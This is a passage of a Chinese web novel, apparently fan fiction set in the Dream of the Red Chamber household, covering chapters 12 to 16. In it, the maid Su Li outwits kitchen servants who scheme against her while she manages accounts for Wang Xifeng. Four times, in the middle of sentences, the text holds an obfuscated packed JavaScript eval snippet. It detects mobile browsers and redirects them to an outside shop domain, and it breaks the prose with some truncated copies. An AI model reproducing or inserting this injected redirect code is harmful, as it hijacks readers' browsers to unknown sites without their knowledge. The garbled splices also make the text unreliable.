立足未稳便临危受命，前路注定步步惊心。但她知道，唯有经过这般烈火淬炼，她这把刀，才能真正变得锋利，也才能真正在这深宅大院里，拥有属于自己的、不可动摇的立足之地。 厨房的战役，已经打响，而她，毫无退路。 12. 敲山震虎 新官上任的三把火，尚未点燃，阴风已然四起。 苏璃接管厨房账目的第二日，便察觉到了那股无声的抵抗。 清晨她去点验新送来的菜蔬，送菜的汉子眼神躲闪，称重的杆秤微微发颤——那筐本该足秤的青菜，硬是短了三四斤。她不动声色，只在账册上记下实收数目，淡淡道：“按这个数结算。” 那汉子脸色一白，喏喏应下，仓皇而去。 这边刚打发走采买，那边负责洗切配菜的婆子们便开始“叫苦连天”。这个说今日送来的萝卜空心，那个道送来的猪肉肥膘太厚，浪费自然就多，话里话外，无外乎是“巧妇难为无米之炊”，若按定例，各房的菜色怕是难以周全。 李嫂子更是亲自端着一小碟明显炒糊了的青菜来到苏璃面前，皮笑肉不笑：“柳絮姑娘，您瞧瞧，这灶下的火候如今也不好把握了。老婆子们手脚粗笨，若是按新规矩卡得太死，只怕耽误了主子们用膳，这责任……我们可担待不起啊。” 苏璃抬眸，看了一眼那碟焦黑的青菜，又看了看李嫂子那看似谦卑实则挑衅的眼神。她没有动怒，甚至没有多余的表情，只平静地指了指旁边记录食材损耗的册子：“火候不佳，是灶上之事，与定额无关。损耗几何，按实记录便是。若人手不足或技艺不精，李嫂子可列个章程，回明二奶奶，是添人还是另行指派，自有奶奶定夺。” 她四两拨千斤，将“责任”二字轻飘飘地推了回去，丝毫不接对方试图将“饭菜质量下降”这顶帽子扣过来的招数。李嫂子噎了一下，脸色讪讪，只得退下。 苏璃心知肚明，这只是试探性的小动作，真正的麻烦还在后头。她并不急于发作，只是更加严格地执行着新规。 每一笔入库，她都亲自过秤、验看质量；每一笔出库，她都核对各房定例，要求领用人签字画押；每日剩余的食材，她也一一清点封存。账册之上，数目清晰，笔笔分明，再无半分含糊。 这种水泼不进的严谨，让习惯了浑水摸鱼的厨房众人，如同被套上了紧箍咒，浑身不自在。私下里的怨气，如同夏日沼泽里的气泡，咕嘟咕嘟地冒个不停。 这日午后，厨房里难得的清闲片刻。几个婆子媳妇聚在角落里，一边剥着豆子，一边低声抱怨。 “……真真是阎王好见，小鬼难缠！不过识得几个字，拿起鸡毛当令箭！” “就是！以往咱们手指缝里漏点，也够家里嚼用，如今倒好，连根菜叶子都卡得死死的！” “李嫂子，您可是咱们这儿的老人了，就真由着这黄毛丫头骑到头上？” “……” 李嫂子阴沉着脸，手里用力掐着一根豆角，低声道：“急什么？她一个丫头片子，能有多大能耐？府里上下几百口人吃饭，稍有差池，就是天大的过错！咱们只需‘按规矩’办事，不出几日，自然有她好看！” 几人正嘀咕着，忽见苏璃从外面回来，手里还拿着一个小布包。她径直走到存放干货的库房前，打开门锁——这是她接管后新加的规矩，钥匙由她一人掌管。 众人立刻噤声，眼神却不由自主地瞟向她手中的布包，以及她走进库房的背影。 没过多久，苏璃便从库房里出来了，手里依旧拿着那个布包，面色如常地锁好门，回到了她那张小书案前。 然而，就在她离开后不到一炷香的功夫，赵嬷嬷忽然惊叫起来：“哎呀！我放在灶台边上那块准备晚上给琏二爷做醒酒汤的火腿呢？那么大一块，怎么不见了？” 厨房里顿时一阵骚动。众人帮忙寻找，犄角旮旯翻了个遍，却踪影全无。 “怪事！方才还在的！” “莫不是被野猫叼了去？” “瞎说！哪有那么大的野猫！” 李嫂子眼神闪烁，目光似有若无地扫过苏璃那边，声音不大不小，刚好能让所有人听见：“这厨房里，往日可从没丢过东西。自从……唉，许是忙乱，不知被谁收拣到哪里去了吧。” 这话意有所指，顿时将所有人的目光都引向了苏璃。库房钥匙在她手里，她又刚独自进去过，那块价值不菲的火腿不翼而飞，她的嫌疑最大。 苏璃坐在书案后，仿佛没有听到那边的喧哗，依旧低头核对着手里的单据。 赵嬷嬷按捺不住，走到苏璃面前，语气带着质问：“柳絮姑娘，你可瞧见我那块火腿了？约莫两斤重，就放在灶台边的。” 苏璃抬起头，目光平静地看着她：“赵嬷嬷，我自回来便在此核对账目，并未留意你的火腿。库房重地，我进出皆按规矩，入库出库皆有记录，嬷嬷若是不信，可以随时查账。” 她语气不卑不亢，将“查账”二字点了出来。 赵嬷嬷被她看得有些心虚，但仗着人多，依旧强硬道：“查账？账目自然是清的！可这实物没了，总得有个说法！那可是给二爷预备的！” 就在这时，厨房外传来小丫鬟的声音：“柳絮姑娘，二奶奶屋里的丰儿姐姐来了。” 只见丰儿端着一个小空碟走了进来，笑道：“柳絮妹妹，奶奶方才说嘴里没味，想起库房里还有些旧年的紫菜，让你取些给她冲碗汤。我方才去你屋里寻你，平儿姐姐说你把这个落在屋里了，让我顺便带过来。”说着，将手中那个眼熟的小布包递还给苏璃。 苏璃接过布包，打开，里面正是几片包得好好的、干爽的紫菜。她对着丰儿笑了笑：“有劳丰儿姐姐，我方才想着对完账就去取，一时忙忘了。”她拿起库房钥匙，对赵嬷嬷等人道：“既然丰儿姐姐来了，诸位若对库房存疑，不妨一同进去看看，也好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908585|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做个见证。” 李嫂子、赵嬷嬷等人面面相觑，骑虎难下。只得硬着头皮，跟着苏璃和丰儿再次进入库房。 库房里货物堆放整齐，账册记录与实物一一对应，根本没有任何多余的火腿。 就在这时，一个在灶下烧火的小丫头怯生生地开口：“赵、赵嬷嬷……我方才好像看见，您把那块火腿放在沥水架下面那个空盆里盖着了，说是怕落灰……” 赵嬷嬷一愣，猛地冲到沥水架旁，掀开那个倒扣着的木盆，那块油光锃亮的火腿，赫然就在盆底！ 场面瞬间尴尬至极。 赵嬷嬷脸色一阵红一阵白，张着嘴说不出话来。李嫂子等人也臊得满脸通红，恨不得找个地缝钻进去。 丰儿何等聪明，立刻明白了怎么回事，她收起笑容，目光扫过李嫂子、赵嬷嬷等人，语气带着一丝冷意：“奶奶让我来取点紫菜，倒没想到，还能看这么一出戏。厨房里当差，心思还是放在正经营生上才好，整日里想七想八，搬弄是非，若是耽误了主子们的事，仔细你们的皮！” 这话极重，李嫂子等人吓得连忙躬身称是，冷汗直流。 丰儿不再理会她们，对苏璃点点头，拿着紫菜便离开了。 苏璃自始至终，没有再多看那些人一眼，也没有出言斥责。她只是默默地锁好库房门，回到书案前，继续她未做完的账目核对。 然而，经此一事，厨房里的气氛彻底变了。 那种无声的抵抗和试探，如同被阳光刺破的晨雾，瞬间消散大半。取而代之的，是一种真正的敬畏和恐惧。她们意识到，这个看似沉静的少女，不仅心思缜密，手段更是老辣。她根本不屑于与她们争辩，只凭借绝对的规矩和不动声色的反击，便让她们的算计落空，还险些引火烧身。 这轻描淡写间的“敲山震虎”，比任何疾言厉色的训斥都更具威慑力。 傍晚，苏璃将一日账册呈给王熙凤。王熙凤翻看着，随口问了一句：“今日厨房里可还安稳？” 侍立在一旁的丰儿，便将午后火腿风波当做趣事，简单说了一遍。 王熙凤听完，嗤笑一声，将账册合上，对苏璃道：“做得不错。对付这些刁奴，就得让她们知道，哪些心思能动，哪些心思动了，会烫着手。” 苏璃垂眸：“是奶奶威重，奴婢只是依规矩办事。” 王熙凤满意地点点头，挥挥手让她退下。 走出房门，苏璃轻轻吁出一口气。这第一回合，她算是稳住了阵脚。但她也知道，李嫂子等人绝不会就此甘心。暂时的蛰伏，或许意味着更隐蔽的反扑。 她抬头望向暮色中层层叠叠的飞檐斗拱，目光沉静。 山已敲过，虎暂蛰伏。但这深宅大院里的“虎”，又何止厨房这一窝？ 13. 利益同盟 厨房的火腿风波，如同一盆冷水，浇熄了明面上的反抗，却将暗流逼向了更深处。 李嫂子连着几日寝食难安，苏璃那看似平静无波的眼神，比任何责骂都让她心惊。 她掌管厨房多年，手指缝里漏出的油水，早已成了她和她背后那一大家子赖以生存的倚仗。如今这财路被硬生生掐断，简直是要了她的老命。 “不能再这么下去了！”这日下了值，她悄悄拉住赵嬷嬷和王婆子，三人躲进厨房后堆放杂物的窄巷里，脸上皆是愁云惨淡。 “那丫头铁面无情，油盐不进，如今连丰儿姑娘都明着帮她说话，我们还能怎样？”赵嬷嬷唉声叹气，想起那日的难堪，脸上还火辣辣的。 王婆子压低声音，眼里闪着怨毒的光：“她不过是仗着二奶奶的势！我就不信，二奶奶能一直护着她！府里这么多老人，还能让一个毛丫头骑在头上？” 李嫂子咬着后槽牙，声音从齿缝里挤出来：“光靠我们几个不行。得找人，找能说得上话的人！”她眼神闪烁，压低声音，“你们可还记得……周瑞家的？” 赵嬷嬷和王婆子对视一眼，都看到了对方眼中的亮光。周瑞家的因之前渠塘账目的事，被革了三个月月钱，在二奶奶面前大大失了体面，对那柳絮怕是恨之入骨。她男人周瑞在外面有些脸面，她自己在府里经营多年，人脉比她们广得多。 “只是……周瑞家的如今自身难保，还能帮我们？”赵嬷嬷有些迟疑。 “瘦死的骆驼比马大！”李嫂子笃定道，“她比我们更恨那丫头！敌人的敌人，就是朋友。我们凑些银子，再去求她，她定然不会袖手旁观！” 三人计议已定，各自悄悄凑了些体己，趁着夜色，像老鼠一样溜向了周瑞家的住处。 周瑞家的这几日正憋闷得慌。丢了体面，少了进项，连往日巴结她的下人如今见了她也多是表面客气。她将这切齿之恨，全记在了苏璃头上。 见李嫂子三人深夜来访，还带着“心意”，她心中立刻明镜似的。她也不点破，只阴沉着脸，听她们哭诉厨房如今的“艰难”和苏璃的“专横”。 “……周姐姐，您可是府里的老人了，最得脸不过。如今我们被那丫头逼得实在没了活路，您可得给我们指条明路啊！”李嫂子说着，将一小包碎银子推了过去。 周瑞家的瞥了那银子一眼，没有立刻去拿，只是冷笑一声：“指条明路？如今我自身难保，还能指什么路？那丫头正得二奶奶的意，风头正劲，连旺儿家的都暂避锋芒，我们又能如何？” “姐姐何必妄自菲薄？”李嫂子忙道，“您根基深厚，岂是我们能比的？那丫头再得意，也不过是个无根无基的丫鬟，还能翻了天去？只要寻个机会，让她栽个跟头，二奶奶还能一直护着一个惹是生非的？” 周瑞家的眼神动了动，手指摩挲着茶杯边缘，沉吟道：“机会……倒也不是没有。”她压低了声音，“你们可知道，再过半月，便是东府敬老爷的寿辰？” 三人一愣，不知她为何突然提起这个。 周瑞家的继续道：“敬老爷虽是修道之人，不喜热闹，但礼数不能废。两府往来，寿礼、宴席，哪一样不要银子？尤其是宴席，虽说不比往年大肆操办，但该有的体面还得有。这采买、备料、人手安排……哪一样不是从公中出？这里面的开销……” 她意味深长地顿了顿，看着眼前三双骤然亮起的眼睛，“厨房是重中之重。以往这类大事，采买都是肥差，油水足得很。如今账目卡得死，你们捞不到好处，但若是……在这节骨眼上，出了点什么‘意外’，比如食材不新鲜，分量不足，或是宴席上出了纰漏……” 李嫂子瞬间明白了她的意思，心脏砰砰直跳：“姐姐的意思是……我们暗中做些手脚，把这事搅黄，然后嫁祸给那柳絮？说她年轻不懂事，调度不力，或是中饱私囊，克扣了用料？” “话可不能这么说。”周瑞家的阴阴一笑，“我们只是‘按规矩’办事，是她柳絮姑娘新立的规矩太死，下面的人手脚被束缚，难免出错。至于中饱私囊……她手里过的银子多了，谁能保证干干净净？到时候，众口铄金，积毁销骨，二奶奶就算想护着她，也得掂量掂量影响不是？” 一番话，如同醍醐灌顶。李嫂子三人相互看了一眼，都看到了彼此眼中的狠厉与决绝。 “只是……这事需做得隐秘，还需里应外合。”周瑞家的慢悠悠地道，“采买那边，我倒是能递上话。至于厨房里面，就看你们的了。还有……府里其他各处，若也能有些‘呼应’，那就更好了。” 这便是要结成同盟，共同发力了。 李嫂子立刻表态：“姐姐放心！厨房里我们经营多年，心腹还是有几个的！定叫她哑巴吃黄连，有苦说不出！” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而，她并不知道，一张无形的大网，正借着这次寿宴的机会，悄悄向她笼罩过来。李嫂子等人看似配合地提供着往年的数据，眼神却交换着只有她们自己才懂的讯息。 山雨欲来，风已满楼。 苏璃埋首于账册之间，窗外的阳光映照着她专注的侧脸。她凭借自己的能力，一步步走到现在，却不知暗处的同盟已然结成，即将把她卷入更深的漩涡。 14. 小惠全大体 贾敬寿辰的宴席单子，苏璃拟得格外谨慎。她翻阅了近三年宁荣两府类似规模宴请的旧例，又结合当前市价，将用料、人工、器皿损耗一一列明，总数目比旧例还略低些，却该有的体面一样不少。 单子呈上去，王熙凤只看了一眼总数目，便点了点头：“嗯，是个知道轻重的。就按这个预备吧。”算是过了明路。 消息传到厨房，李嫂子等人表面应承，心底却暗自冷笑。单子批了，才好动手脚。 寿辰前三天，采买上的动静便有些不同寻常。送来的食材，质量看着与往常无异，数量也大致对得上苏璃列的单子，但仔细查验，便能发现些许蹊跷：那活鱼看似鲜活，鳞片下却隐约透着些不自然的暗红；送来的时鲜蔬菜，品相完好，根茎处却带着不易察觉的萎蔫；就连那上等的绍兴黄酒，封泥完好，晃动着听声音却似乎比往常浊重些。 苏璃每日亲自验收，这些细微之处自然逃不过她的眼睛。她不动声色，只在验收册上将这些“细微差异”一一注明，让送货的人画押。送货的是生面孔，眼神躲闪，画押时手都有些抖。 李嫂子在一旁冷眼旁观，见苏璃并未当场发作，只当她是年轻识浅，看不出其中关窍，或是看出了却不敢声张，怕担责任，心中不由得意。 这日晚间，苏璃核对完当日所有账目，并未立刻离开。她走到厨房后院，那里有几个粗使婆子正就着冷水清洗明日要用的器皿，手冻得通红。 苏璃走过去，声音平和：“妈妈们辛苦了。” 那几个婆子见她过来，都有些拘谨，连忙起身。其中一个姓孙的婆子胆子大些，赔笑道：“不辛苦，都是分内的事。柳絮姑娘这么晚还没歇着？” 苏璃笑了笑，从袖中取出一个小纸包，递给孙婆子：“天冷，这几块姜糖，妈妈们分着含含，驱驱寒气。” 孙婆子一愣，受宠若惊地接过，连声道谢。其他婆子也围了过来，脸上都带着些难以置信的感激。她们是厨房里最底层的，往日里别说赏赐，能少挨些骂就不错了。 苏璃状似无意地看向堆放食材的角落，轻声道：“这几日为了寿宴，采买送来的东西多，妈妈们清洗收拾时也仔细些。我瞧着那送来的鲜鱼，鳞片似乎不如往常光亮，怕是路上受了风，妈妈们处理时多留意，别让不干净的东西混进去，冲撞了主子。” 孙婆子捏着那几块难得的姜糖，听着这温和的叮嘱，心里一热，忙道：“姑娘放心，老婆子们晓得分寸，定仔细查验！” 苏璃点点头，没再多说，转身离开了。 孙婆子看着她的背影，对旁边几个婆子低声道：“柳絮姑娘年纪虽小，倒是个仁义的，体恤咱们。”她捏了捏手里的姜糖，想起白日里隐约看到送来的鱼似乎真有些不对劲，心里便存了份小心。 寿辰正日，宁国府那边虽未大肆铺张，但也张灯结彩，宾客盈门。荣国府这边预备的席面食材，一早便由李嫂子亲自带着几个得力的人手送了过去，连同苏璃详细列明的食材清单和验收记录。 苏璃留在荣国府厨房，照常打理日常膳食。她看似平静，心神却有一丝紧绷，留意着东府那边的任何消息。 午时刚过，宁国府一个小丫鬟急匆匆跑来，脸色发白，找到李嫂子，声音带着哭腔：“李嫂子，不好了！宴席上有一道酒酿清蒸鸭子，几位老爷尝了都说味道不对，有股子……说不出的腥气！珍大奶奶发了好大的火，让立刻查清楚！” 李嫂子心中狂跳，面上却强自镇定，跟着小丫鬟就往东府去，临走前，意味深长地瞥了苏璃一眼。 厨房里顿时议论纷纷，人心惶惶。酒酿鸭子是苏璃单子上列的，食材是李嫂子经手送去的，如今出了纰漏，这责任…… 不多时，李嫂子回来了，脸色铁青，身后还跟着宁国府的一个管事媳妇。那媳妇目光扫过厨房众人，最后落在苏璃身上，语气不善：“柳絮姑娘，我们奶奶请你过去一趟，问问那酒酿鸭子的事。” 来了。 苏璃心中冷笑，面上却依旧平静，放下手中的账册，起身道：“好。” 宁国府花厅里，气氛凝重。尤氏坐在上首，脸色很不好看。王熙凤也被请了过来，坐在一旁，端着茶，面色看不出喜怒。周瑞家的竟也垂手站在一旁，眼神低垂，嘴角却有一丝若有若无的弧度。 见苏璃进来，尤氏将手中的茶杯重重一顿，厉声道：“柳絮！你可知罪！” 苏璃上前，规规矩矩行礼：“给珍大奶奶、二奶奶请安。不知奴婢所犯何罪？” “还敢狡辩！”尤氏指着旁边桌上那盘几乎没动过的酒酿鸭子，“这鸭子是你单子上列的，如今味道不正，冲撞了宾客，丢了我们两府的脸面！你负责拟定菜单，监管食材，出了这等纰漏，不是你的罪过是谁的？” 李嫂子立刻跪倒在地，哭诉道：“二位奶奶明鉴！奴婢只是按柳絮姑娘的单子采买、运送，所有食材都是柳絮姑娘亲自验收画押的！奴婢万万不敢有丝毫怠慢啊！”她这话，瞬间将所有责任推到了苏璃的验收环节上。 周瑞家的也适时开口，语气“公允”：“二奶奶，这丫头年纪小，怕是经验不足，验收时有所疏漏也是有的。只是这寿宴大事，出了这等差错，实在不该……” 王熙凤没说话，只看着苏璃。 苏璃等她们说完，才不慌不忙地开口，声音清晰：“回珍大奶奶、二奶奶，这道酒酿清蒸鸭子，所用活鸭、酒酿及其他辅料，三日前由兴隆杂货铺送来，当时奴婢验收时，便发现那活鸭精神不振，翅下略有异味，已在验收册上注明‘鸭活，然神萎，疑路途劳顿，需仔细清洗处理’，并有送货人画押为证。昨日食材运送东府前，奴婢亦将验收册副本及注意事项，一并交予李嫂子，并再三叮嘱，需告知东府灶上师傅，务必仔细处理。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908587|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她说着，从袖中取出那份验收册的原始记录，双手呈上：“此乃原始记录，请二位奶奶过目。奴婢人微言轻，不敢擅专，唯有据实记录，依规办事。” 尤氏接过那记录，果然看到在活鸭那一栏后面，有一行清晰的小字备注，还有歪歪扭扭的画押。她脸色顿时变得精彩起来。 李嫂子没想到苏璃竟留有这一手，还记录得如此清楚，顿时慌了神：“你……你当时只说略有萎靡，并无大碍……” 苏璃转向她，目光平静无波：“李嫂子，我当时如何说的，自有记录为证。我将注意事项交予你时，可曾让你隐瞒不报？还是嘱咐你务必转达灶上？” 李嫂子张口结舌，冷汗涔涔而下。她当时只想着借此做文章，哪里会如实转达？ 王熙凤此时才放下茶杯，慢悠悠地开口，语气带着冷意：“如此说来，倒是下面的人办事不力，未能将话传到，或是……灶上处理不当了？”她的目光扫过李嫂子和那个宁国府的管事媳妇。 那管事媳妇吓得连忙跪倒。 尤氏脸上青红交加，狠狠瞪了李嫂子一眼，又看向周瑞家的，见她低头不语，心中更是恼火。她本想借机敲打一下王熙凤和这个碍眼的丫头，却没想反被将了一军，还显得自己治下不严。 王熙凤见火候差不多了，便对尤氏笑道：“大嫂也别动气了，好在发现得早，没闹出大笑话。下面的人办事疏忽，罚了便是。只是这验收的丫头，倒是心细，知道提前留个凭证，不然这黑锅，可就背得冤枉了。”她这话，明着劝解，暗里却把苏璃摘得干干净净，还赞了一句。 尤氏只得顺着台阶下，斥责了李嫂子和那管事媳妇几句，罚了月钱了事。 风波平息，苏璃跟着王熙凤回到荣国府。 路上，王熙凤瞥了苏璃一眼，淡淡道：“今日这事，你处置得不错。小惠全大体，既全了规矩，也没让人拿了错处。” 苏璃知道，王熙凤指的是她提前记录并叮嘱的举动，以及那几块不起眼的姜糖——若非孙婆子因那点“小惠”格外留心，提前发现那鸭子确实有问题并悄悄告知了苏璃，她今日也无法如此底气十足。 “谢奶奶夸奖，奴婢只是尽本分。”苏璃恭声道。 王熙凤嗯了一声，不再多说。但苏璃知道，经过此事，自己在王熙凤心中的分量，又重了几分。她不仅有能力，更有应对危机的心智和手段。 回到厨房，李嫂子等人见了她，眼神躲闪，再不敢有半分轻视。那试图织网将她困住的人，反而被网的余势扫中，狼狈不堪。 然而，苏璃并未感到轻松。周瑞家的今日虽未直接出面，但那隐隐的身影，让她意识到，暗处的敌人，远比明面上的更棘手。 她看着窗外渐渐西沉的落日，目光沉静。这深宅大院，从来就不缺风波。今日她能凭借谨慎和一点“小惠”破局，明日呢？ 15. 凤姐心腹 寿宴风波过后，厨房里再无人敢明着与苏璃作对。李嫂子等人见了她，如同老鼠见了猫，远远便垂下头，恨不得缩进墙缝里。 那日的雷霆手段与滴水不漏的应对，让所有人都看清了这个看似沉静的少女手腕是何等老辣。 苏璃并未因此放松，反而将厨房的规矩梳理得更加严密。她设计了一套简单的表格，将每日采买、入库、领用、结余分门别类，要求各环节负责人签字画押，账目一目了然。又根据各房反馈，微调了食材分配，既堵住了漏洞，也让底下人少了些怨气。 这些变化悄无声息，却让厨房的运转效率提升了不少。连平儿偶尔过来，都忍不住对王熙凤感叹：“如今那厨房，倒是比先前清爽多了，账目清楚，物件也摆放得齐整，柳絮妹妹着实费了心思。” 王熙凤听着，不置可否，只淡淡道：“是个能办事的。” 这日午后，王熙凤歪在炕上小憩，苏璃在一旁轻轻打着扇。窗外蝉鸣聒噪，屋内冰盆散发着丝丝凉气。 王熙凤忽然开口，声音带着一丝慵懒：“柳絮，你觉得……周瑞家的如何？” 苏璃心中微凛，打扇的手顿了顿，随即恢复如常，轻声回道：“周妈妈是府里的老人，奴婢不敢妄加评议。” “哼，老人？”王熙凤嗤笑一声，凤眸微睁，闪过一丝冷光，“就是这些‘老人’，仗着几分体面，背地里不知捞了多少油水，还当别人都是瞎子！”她顿了顿，目光落在苏璃身上，“这次寿宴的事，你做得很好。没让那些魑魅魍魉得了逞。” 苏璃垂下眼帘：“是奶奶运筹帷幄，奴婢只是依令行事。” 王熙凤摆摆手，显然不爱听这些虚话。她坐起身，接过苏璃递上的温茶抿了一口，语气变得郑重了些：“往后，外面几个庄子上送来的年例、租子账目，你也帮着平儿一起看看。还有府里一些人情往来的礼单，你也多留心。” 苏璃心头一震。庄子的年例租子，那是贾府重要的收入来源；人情往来的礼单，则牵扯到庞杂的关系网络。王熙凤将这二者交给她“看看”、“留心”，意味着她已真正进入了核心的理财圈子，成了名副其实的“心腹”。 “是，奶奶。奴婢定当仔细，不负奶奶信任。”苏璃压下心中的波澜，恭声应道。 王熙凤点点头，又靠了回去，闭上眼，仿佛只是随口吩咐了一件小事。 但从这一天起，苏璃接触到的东西，已然不同。她看到的不再是厨房的米面粮油，而是贾府田庄的产出、铺面的盈亏，以及那张维系着家族体面与关系、用真金白银织就的巨大的人情网。 她愈发谨慎，每日除了伺候王熙凤，便是埋首于各种账册礼单之间。她的字迹工整清晰，记录条理分明，计算更是从未出过差错。平儿与她配合默契，许多琐碎账目交由她初步核算，平儿复核起来轻松不少，对她更是亲近信赖。 这日，苏璃正在核对江南老宅送来的一批土仪礼单，就听外面小丫鬟笑道：“林姑娘来了！” 只见黛玉扶着紫鹃的手，袅袅娜娜地走了进来。她今日穿着月白绣梅花锦缎袄，系着一条淡青撒花裙，越发显得弱不胜衣，我见犹怜。 “给二嫂子请安。”黛玉声音轻柔，如同春风拂过琴弦。 王熙凤见到她，脸上露出真切的笑容，忙招手让她到身边坐下：“快过来坐，这大热天的，你怎么过来了？可是缺了什么短了什么？” 黛玉浅浅一笑：“并无短缺，只是整日在屋里闷着，想来和二嫂子说说话。”她目光流转，落在炕几上摊开的账册和礼单上，以及侍立在一旁的苏璃身上，眼中闪过一丝不易察觉的讶异。 王熙凤顺着她的目光看去，笑道：“这是柳絮，如今帮着我看看些账目。”又对苏璃道，“还不给林姑娘见礼。” 苏璃上前，规规矩矩地行了一礼：“给林姑娘请安。” 黛玉微微颔首，目光在苏璃身上停留了一瞬。她虽不大理会俗务，但也隐约听过这个丫鬟的名头，知道她颇得凤姐姐倚重。此刻见她眉目清秀，举止沉静，与寻常丫鬟迥异，心中便存了几分印象。 王熙凤与黛玉说了一会儿话，多是些姐妹间的闲谈。苏璃安静地在一旁伺候，添茶倒水，并不多言。 临走时，黛玉似无意间对王熙凤说了一句：“二嫂子身边有这般得力的人帮衬，倒是省心不少。” 王熙凤笑道：“不过是些死物事，让她帮着打理罢了，终究比不上妹妹这般灵秀人物。” 黛玉微微一笑，扶着紫鹃去了。 苏璃将黛玉送出房门，回来时，见王熙凤正拿着那本江南礼单，若有所思。 “这林丫头，心思倒是细腻。”王熙凤忽然没头没尾地说了一句。 苏璃没有接话，心中却明白。黛玉方才那句话，看似随口一提，实则点出了王熙凤对她的倚重。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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捧着那匹光滑冰凉的宫缎，苏璃能感受到周围那些管事媳妇们目光中的复杂情绪，那是羡慕，是嫉妒，更是深深的敬畏。 从库房出来，午后的阳光有些刺眼。苏璃微微眯起眼，看着走在前方王熙凤那窈窕而充满威势的背影。 她知道，自己如今真正成了“凤姐心腹”，站到了这荣国府内宅权力格局的前沿。风光背后，是更深的卷入，是更多双眼睛的注视，也是更沉重的责任与危险。 王熙凤的信任与倚重，是她安身立命的根本，却也是一把悬在头顶的双刃剑。 她深吸一口气，将怀中那匹宫缎抱得更紧了些。既然已踏上这条路，便只能向前，不能后退。 只是不知，这份突如其来的“殊荣”，又会在这看似平静的府邸里，激起怎样的波澜。 16. 协理宁国府？ 王熙凤赏赐宫缎的消息，像长了翅膀一样飞遍荣国府上下。羡慕者有之，嫉妒者有之，更多是深深的敬畏。 谁都知道，柳絮这个名字，如今已不仅仅是“会算账的丫头”，而是二奶奶跟前真真正正的红人，是能影响银钱流向、甚至能在奶奶耳边递上话的“凤姐心腹”。 苏璃依旧沉静，将那匹惹眼的宫缎仔细收好，并未立刻裁衣。木秀于林的道理她懂，此刻更需低调。她将更多精力投入到王熙凤交代的新差事：协助平儿核对各处庄子的年例租子。 这一看，才更真切地触碰到贾府这艘巨轮水下那庞大的冰山。田庄收成、铺面红利、人情往来……账目繁杂庞大，虽表面光鲜，但细究之下，各处都有不小的窟窿。 年例一年比一年难收，支出却如流水般只增不减。苏璃一边整理，一边在心中默默计算，越算越是心惊。这贾府的财政，竟已到了如此岌岌可危的地步？全靠昔日底蕴和王熙凤左支右绌地腾挪勉强维持。 这日，她正对着一笔江南织造府送来、价值不菲却用途含糊的“节敬”出神，平儿悄悄进来，低声道：“妹妹，奶奶叫你呢，东府珍大奶奶来了，脸色不大好。” 苏璃心中一凛，收拾好账册，跟着平儿来到正房。 只见尤氏果然坐在那里，眼圈微红，面带愁容，正拿着帕子拭泪。王熙凤在一旁陪着，脸上也带着几分无奈。 “……你是不知道，我们那边如今乱成了什么样子！”尤氏声音带着哽咽，“我们爷一味高乐，哪里肯在这些俗务上用心？下面的人一个个欺上瞒下，账目一塌糊涂，这个月连丫鬟婆子的月钱都支应得艰难。我实在是……实在是没法子了，才来求妹妹你帮我想个主意。” 王熙凤叹了口气，劝道：“大嫂也别太着急，总能想法子的。只是我这边的境况，你也知道，也是拆东墙补西墙，实在分不出多少精力……” 尤氏忙道：“不敢劳妹妹亲自操心。只是……我听说你跟前有个极得用的丫头，叫柳絮的，最是精明能干，连厨房那么乱的地界都能打理得清清楚楚。不知……不知能否借她过去几日，帮我把那边的账目理一理，也震慑一下那些无法无天的奴才？” 此话一出，不仅苏璃心中一震，连王熙凤眼中都闪过一丝极快的讶异。 借人？协理宁国府？ 苏璃立刻垂下头。这可是个烫手山芋。宁国府的情况比荣国府更糟，贾珍荒唐，贾蓉不成器，下人更是毫无顾忌。自己一个荣国府的丫鬟过去，名不正言不顺，稍有不慎，便是里外不是人，极易成为两府矛盾的焦点。尤氏此举，是真无人可用，还是想借刀杀人，或是另有图谋？ 王熙凤沉吟着，没有立刻回答。她端起茶杯，轻轻拨动着杯盖，目光在尤氏和苏璃身上扫过。 尤氏见状，又哀声道：“好妹妹，就当嫂子求你了。总不能眼看着那边彻底败落下去，丢了咱们两府的脸面。只需借柳絮姑娘十天半月，帮着理清头绪，立个规矩就好。一应事宜，自然还是我做主，绝不会让她为难。” 房间里静默下来，只听得见尤氏细微的抽泣声。 苏璃心念电转。去，风险极大，宁国府是个泥潭。不去，尤氏亲自开口相求，王熙凤若断然拒绝，未免伤了和气，也显得她吝啬，不肯帮扶亲戚。 片刻，王熙凤放下茶杯，脸上露出恰到好处的为难与权衡：“大嫂既然开口，我本不该推辞。只是柳絮这丫头，年纪轻，经历浅，只怕担不起如此重任，万一办砸了，反倒误了大嫂的事。” 